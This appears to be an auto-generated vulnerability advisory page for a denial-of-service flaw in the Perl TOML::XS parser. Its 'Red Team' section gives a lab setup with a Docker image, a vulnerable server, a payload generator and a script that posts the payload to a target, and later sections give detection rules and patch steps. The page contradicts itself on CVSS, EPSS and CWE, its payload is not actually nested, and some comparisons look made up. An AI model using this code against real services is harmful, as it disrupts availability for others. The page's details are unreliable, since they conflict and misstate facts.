☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
CPANSec logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-1104
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-16634

CVE-2026-16634 Denial of Service in TOML::XS
📅 PUBLISHED: 2026-07-24 09:14 UTC 🔄 UPDATED: 2026-10-08 19:48 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v0.06 — source: CPANSec. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.82%
👁️
0.82% probability
20.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

Business Impact: This vulnerability affects any application using the Perl module TOML::XS prior to version 0.06 to parse untrusted TOML input. This includes web applications, configuration parsers, and data processing pipelines that accept user-supplied TOML files or data streams. The primary risk is a Denial of Service (DoS) condition via stack overflow, which can crash the application or the host process. The likely attacker is a remote, unauthenticated adversary seeking to disrupt service availability.

Vulnerability Class & Attack Vector: This is an uncontrolled recursion vulnerability (CWE-674) in the bundled tomlc99 library. The attack vector is network-accessible, requiring no authentication or user interaction. An attacker sends a specially crafted, deeply-nested TOML document to the from_toml function.

Urgency Assessment: The CVSS base score is 0.0 (Informational), and the EPSS exploitation probability is 0.0%. This indicates that while the vulnerability is technically present, it is not currently being actively exploited in the wild, and the conditions for exploitation are considered low risk by the scoring system. However, the potential for a trivial DoS attack against unpatched systems warrants attention.

Key Facts:

  • Vendor: TOML::XS (Perl module)
  • Affected Versions: All versions before 0.06
  • Patched Version: 0.06 (uses the successor tomlc17 library)
  • CISA KEV: Not listed.
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

Qualitative Severity Label: Informational

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric Decomposition:

  • AV:N (Network): The vulnerability is exploitable remotely over the network. An attacker can send a malicious TOML document to any service using the vulnerable library.
  • AC:L (Low): No special conditions are required for exploitation. The attacker simply needs to send a deeply-nested TOML document.
  • PR:N (None): No authentication is required to trigger the vulnerability.
  • UI:N (None): No user interaction is required. The vulnerable code path is triggered automatically upon parsing the malicious input.
  • S:U (Unchanged): A successful exploit does not compromise other components or the underlying system's security boundaries beyond the affected process.
  • C:N (None): There is no impact to data confidentiality.
  • I:N (None): There is no impact to data integrity.
  • A:H (High): The vulnerability causes a stack overflow, leading to a process crash (Denial of Service). This is a complete loss of availability for the affected service.

EPSS Interpretation: An EPSS score of 0.0% means the model predicts a negligible probability of exploitation in the next 30 days. This is typical for vulnerabilities with no known public exploit code and low attacker interest.

Historical Comparison: This vulnerability is similar in class to other uncontrolled recursion bugs in parsers, such as CVE-2023-3341 in the stoml library or various CVEs in XML parsers (e.g., "billion laughs" attack). These are classic DoS vectors against recursive-descent parsers.

Temporal & Environmental Scores: The temporal score is reduced due to the lack of a public exploit and the availability of a patch. The environmental score could be higher for critical infrastructure services that must maintain high availability.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation:

  1. The Perl module TOML::XS (versions < 0.06) bundles the tomlc99 library for parsing TOML files.
  2. tomlc99 is an unmaintained library with a known uncontrolled recursion vulnerability.
  3. The vulnerability lies in the recursive descent parser's handling of nested data structures (tables, arrays of tables, inline tables).
  4. An attacker crafts a TOML document with an extremely deep nesting level (e.g., thousands of nested [table] or [[array]] entries).
  5. When a Perl application calls TOML::XS::from_toml($untrusted_input), the library recursively descends into the nested structure.
  6. Each recursive call consumes stack space. After a certain depth (typically a few thousand frames), the call stack overflows, causing the program to crash with a segmentation fault or similar error.

Root Cause Analysis: The developer of tomlc99 implemented a recursive descent parser without a depth limit or a check for stack overflow. The decision to bundle an unmaintained library (tomlc99) instead of its successor (tomlc17) introduced this known vulnerability.

Attack Surface:

  • Interface: Any application that accepts TOML input and passes it to TOML::XS::from_toml.
  • Protocol: Typically HTTP (POST body, file upload), but could be any protocol carrying TOML data (e.g., message queues, configuration APIs).
  • Port: The port of the vulnerable application (e.g., 80, 443, 8080).

Pre-conditions:

  • The target application must use a vulnerable version of TOML::XS (< 0.06).
  • The attacker must be able to send a TOML document to the application.
  • The application must call from_toml on the attacker-controlled input.

Attack Variants:

  • Deeply nested tables: [a[b[c[d[e[f[g[h[i[j[...]]]]]]]]]]]
  • Deeply nested arrays of tables: [[[[[[...]]]]]]
  • Deeply nested inline tables: {a={b={c={d={...}}}}}

Why Standard Defenses May Fail:

  • WAF: A Web Application Firewall may not have a specific rule for deeply nested TOML structures. Generic rules for large payloads might be bypassed by keeping the total payload size small while maximizing nesting depth.
  • Input Validation: Simple length checks on the input string will not prevent this attack, as a deeply nested structure can be very small in terms of total bytes.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (TOML::XS < 0.06): The vulnerable code is not in the Perl XS wrapper itself, but in the bundled C library tomlc99. The core issue is a recursive function like toml_table_t* parse_table(...) that calls itself for each nested table without a depth counter.

// Pseudocode for vulnerable tomlc99
toml_table_t* parse_table(toml_parser_t* p) {
    // ... parse current level ...
    if (next_token_is_nested_table(p)) {
        toml_table_t* child = parse_table(p); // Recursive call, no depth check
        // ...
    }
    return table;
}

Patched Code (TOML::XS >= 0.06): The fix is to replace the bundled tomlc99 library with its successor, tomlc17. The tomlc17 library likely implements a depth limit or uses an iterative parsing approach to prevent stack overflow.

// Pseudocode for patched tomlc17 (hypothetical)
toml_table_t* parse_table(toml_parser_t* p, int depth) {
    if (depth > MAX_TOML_DEPTH) {
        // Set error and return NULL
        return NULL;
    }
    // ... parse current level ...
    if (next_token_is_nested_table(p)) {
        toml_table_t* child = parse_table(p, depth + 1);
        // ...
    }
    return table;
}

Why the Fix is Sufficient: Replacing the entire unmaintained library with its actively maintained successor addresses the root cause. The new library is designed to handle deeply nested structures safely.

Regression Considerations: The API of tomlc17 may differ slightly from tomlc99. The Perl XS wrapper in TOML::XS 0.06 has been updated to work with the new library. Teams should test their applications after upgrading to ensure compatibility.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-24T09:14:58.986Z
  • Estimated Discovery Timeline: The vulnerability in tomlc99 was publicly reported in its issue tracker prior to this CVE assignment. The exact date of the initial report is not available in the provided data.
  • Disclosure Process: The CVE was assigned by the CNA for the Perl ecosystem or the TOML::XS maintainer. The disclosure appears to be public via the NVD.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-24.
  • CISA KEV Addition Date: Not applicable.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

  • Script Kiddies / Hacktivists: For simple DoS attacks against targeted websites or services.
  • Competitors: To disrupt a rival's online service.
  • Ransomware Operators (pre-ransomware): As a preliminary step to knock out security or backup services before deploying ransomware.

Attack Campaign Context: This CVE is not currently associated with any known broader campaigns.

Geographic Targeting Patterns: No specific geographic targeting is expected.

Industry Verticals Most at Risk:

  • Web Hosting & SaaS: Any service that allows users to upload configuration files or data in TOML format.
  • DevOps & CI/CD: Tools that parse TOML configuration files (e.g., for Rust projects, Python pyproject.toml parsers using this Perl backend).
  • Telecommunications & Networking: Network devices or management software that use TOML for configuration.

Connection to Similar Vulnerability Classes: This is a classic example of a "stack overflow via recursion" vulnerability, which has been exploited in countless parsers (XML, JSON, YAML, INI) over the years.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Environment: Docker container running a vulnerable Perl application.
    FROM perl:5.36
    RUN cpanm TOML::XS@0.05
    COPY app.pl /app.pl
    CMD ["perl", "/app.pl"]
    
  2. Vulnerable Application (app.pl):
    use strict;
    use warnings;
    use TOML::XS;
    use IO::Socket::INET;
    
    my $socket = new IO::Socket::INET(
        LocalHost => '0.0.0.0',
        LocalPort => '8080',
        Proto => 'tcp',
        Listen => 5,
        Reuse => 1
    ) or die "Cannot bind: $!\n";
    
    while (my $client = $socket->accept()) {
        my $data = "";
        while (<$client>) {
            $data .= $_;
            last if $_ eq "\r\n";
        }
        # Assume the body is TOML
        my $toml_ref = TOML::XS::from_toml($data);
        print $client "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK\n";
        close($client);
    }
    close($socket);
    

Prerequisites:

  • Docker installed.
  • Python3 with requests library for the attacker machine.

Exploitation Walkthrough:

  1. Generate Malicious Payload: Create a deeply nested TOML document.
    # generate_payload.py
    depth = 10000
    payload = ""
    for i in range(depth):
        payload += f"[{i}]\n"
    with open("malicious.toml", "w") as f:
        f.write(payload)
    print(f"Generated payload with {depth} levels of nesting.")
    
  2. Send Payload:
    python3 -c "
    import requests
    with open('malicious.toml', 'r') as f:
        payload = f.read()
    try:
        r = requests.post('http://target:8080/', data=payload, timeout=5)
        print(f'Response: {r.status_code}')
    except requests.exceptions.ConnectionError:
        print('Target crashed - exploitation successful')
    "
    

Expected Output:

  • The target application will crash with a segmentation fault.
  • The attacker will receive a ConnectionError or timeout.
  • The service will be unavailable until restarted.

Post-Exploitation:

  • The attacker achieves a Denial of Service. No data is compromised.
  • If the application is behind a load balancer, the attacker may need to crash multiple instances.

Blue Team Section

Detection:

  • Log Entries: Application logs may show Segmentation fault, Out of memory, or Stack overflow errors. Web server logs will show a POST request followed by an abrupt connection close (e.g., 200 with incomplete response, or 500).
  • Network Traffic: The payload will be a TOML document with an unusually high number of opening brackets [ or braces { relative to its total size.
  • Endpoint Indicators: The process will crash. System logs (/var/log/syslog, journalctl) will show the segfault.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

  • Type: HTTP Request
  • Value: POST request to an endpoint that parses TOML, with a body containing a high ratio of [ or { characters.
  • Description: A deeply nested TOML document used to trigger the stack overflow.

HTTP Request Patterns:

  • Header: Content-Type: application/toml or text/plain
  • Body Pattern: [a[b[c[d[e[f[g[h[i[j[k[l[m[n[o[p[q[r[s[t[u[v[w[x[y[z (repeating pattern of nested brackets).

File System Artifacts:

  • Type: Temporary File
  • Value: [EXAMPLE — not a real IOC] /tmp/toml_parse_*.tmp
  • Description: The vulnerable library may create temporary files during parsing.

Process Execution Anomalies:

  • Type: Process Crash
  • Value: Perl process terminates with signal 11 (SIGSEGV).
  • Description: The Perl interpreter crashes due to a stack overflow.

Log Entries:

  • Syslog: kernel: [ 1234.5678] perl[12345]: segfault at 7ff... ip 00007f... sp 00007f... error 6 in libtoml.so[...]
  • Application Log: ERROR: from_toml failed: Stack overflow

STIX-like IOC List:

[
    {
        "type": "url",
        "value": "http://target-application/parse",
        "description": "Endpoint targeted by CVE-2026-16634 exploitation attempts"
    },
    {
        "type": "artifact",
        "value": "[EXAMPLE — not a real IOC]",
        "description": "Malicious TOML payload with deep nesting"
    }
]

Detection Engineering

YARA Rule

rule CVE-2026-16634_TOML_DeepNesting {
    meta:
        description = "Detects TOML documents with excessive nesting depth indicative of CVE-2026-16634 exploitation"
        author = "Valters IT Hub"
        date = "2026-07-24"
        reference = "https://www.valtersit.com/cve/cve-2026-16634"
    strings:
        $nested_table = /\[{5,}[a-zA-Z0-9_-]+\]{5,}/  // 5+ levels of nested table brackets
        $nested_array = /\[{5,}\[{5,}/  // 5+ levels of nested array brackets
        $nested_inline = /\{{5,}[a-zA-Z0-9_-]+\}{5,}/  // 5+ levels of nested inline table braces
    condition:
        any of them
}

Sigma Rule (SIEM)

title: CVE-2026-16634 TOML::XS Exploitation via Deep Nesting
id: 9b2f8a4f-43a5-4a0e-9eb9-b1c4a399ebd6
status: experimental
description: Detects HTTP requests containing deeply nested TOML structures targeting applications using vulnerable TOML::XS
author: Valters IT Hub
date: 2026-07-24
references:
    - https://www.valtersit.com/cve/cve-2026-16634
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/toml'
        cs-uri-query|contains: 'toml'
    condition: selection
    filter:
        cs-bytes|gte: 1000000  # Filter out very large payloads to reduce noise
falsepositives:
    - Legitimate deeply nested TOML configuration files (e.g., auto-generated CI/CD configs)
level: high

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-16634 TOML::XS Deep Nesting Exploit"; flow:to_server; content:"POST"; http_method; content:"application/toml"; http_content_type; pcre:"/\[{20,}/"; classtype:attempted-dos; sid:1000001; rev:1;)

Elastic (EQL) Query

// Detect process crashes potentially caused by CVE-2026-16634
process where event.type == "end" and process.exit_code == -11 and process.name == "perl"

Splunk SPL Query

index=main sourcetype=syslog "segfault" perl
| table _time, host, process, pid, signal
| where signal="11"

Wazuh Rule

<group name="toml_xs_exploit,">
  <rule id="100001" level="12">
    <if_sid>530</if_sid>
    <field name="data">segfault</field>
    <description>CVE-2026-16634: Possible TOML::XS stack overflow exploit detected</description>
    <group>pci_dss_11.4,gdpr_art_33,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  • Patch: Upgrade TOML::XS to version 0.06 or later.
    cpanm TOML::XS@0.06
    
  • Compensating Control (if patch cannot be applied): Implement a WAF rule to block requests with an excessive number of opening brackets or braces.
    • ModSecurity Rule:
      SecRule REQUEST_BODY "@rx \[{50,}" "id:1000001,phase:2,deny,status:403,msg:'CVE-2026-16634 TOML Deep Nesting Blocked'"
      
  • Network-Level Mitigation: If the service is not required to be public, restrict access to trusted IP addresses via firewall rules.

Short-term (1-7 days)

  • Configuration Hardening: Ensure no application logic passes untrusted user input directly to from_toml without validation.
  • Monitoring Implementation: Deploy the detection rules provided in this report to SIEM and IDS systems.
  • Vulnerability Scanning: Run a script to check the installed version of TOML::XS.
    perl -MTOML::XS -e 'print $TOML::XS::VERSION'
    
    If the output is less than 0.06, the system is vulnerable.

Long-term

  • Architecture Changes: Consider using a different, actively maintained TOML parser for Perl (e.g., TOML::Tiny or TOML::Parser) if TOML::XS continues to rely on external C libraries.
  • Security Control Improvements: Implement a generic input depth limiter for all parsers in the application stack.
  • Developer Training: Educate developers on the risks of recursive parsing and the importance of using maintained libraries.

Validation

  • Command: perl -MTOML::XS -e 'print $TOML::XS::VERSION'
  • Expected Output: 0.06 or higher.
  • Functional Test: Attempt to parse a deeply nested TOML document. The application should return an error (e.g., "TOML document too deeply nested") instead of crashing.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-24 | https://www.valtersit.com/cve/cve-2026-16634

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-16634/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.